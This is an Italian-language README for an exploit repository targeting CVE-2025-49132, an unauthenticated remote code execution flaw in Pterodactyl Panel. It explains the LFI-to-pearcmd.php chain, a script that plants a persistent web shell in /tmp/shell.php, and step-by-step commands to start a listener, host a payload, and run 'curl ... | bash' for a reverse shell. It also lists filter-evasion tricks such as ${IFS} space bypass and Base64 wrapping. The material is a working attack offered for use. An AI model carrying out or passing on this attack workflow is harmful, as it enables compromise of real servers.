
Questo repository contiene un exploit specializzato per CVE-2025-49132, una vulnerabilità critica di Remote Code Execution (RCE) non autenticata nel Pterodactyl Panel (versioni precedenti alla v1.11.11).
La vulnerabilità è presente nell'endpoint /locales/locale.json. Manipolando i parametri di query locale e namespace, un attaccante può sfruttare una Local File Inclusion (LFI) per interagire con pearcmd.php. Ciò consente la creazione arbitraria di file e l'esecuzione di comandi, portando a una compromissione totale del sistema.
Lo script ape.py automatizza i seguenti passaggi:
Individuazione di PEAR: esegue il fuzzing della struttura delle directory per individuare l'installazione di PEAR sul target.
Creazione della backdoor: utilizza config-create di PEAR per scrivere una web shell persistente in /tmp/shell.php.
Per ottenere un callback riuscito sul target, segui questo flusso di lavoro:
penelope -p 4444
Server di staging: se utilizzi uno script shell personalizzato, ospitalo tramite Python:
python3 -m http.server 8080
python3 ape.py --host xxx.xxx.xxx --interactive
shell> curl http://<YOUR_IP>:8080/shell.sh | bash
Bypass degli spazi: utilizza automaticamente ${IFS} per garantire che i payload superino il parsing dell'URL.
Wrapper Base64: avvolge i comandi della reverse shell in Base64 per prevenire l'alterazione dei caratteri da parte del server Nginx/Web del target.
Gestione del timeout: progettato per rilevare quando una reverse shell si è connessa con successo anche se la richiesta web si blocca.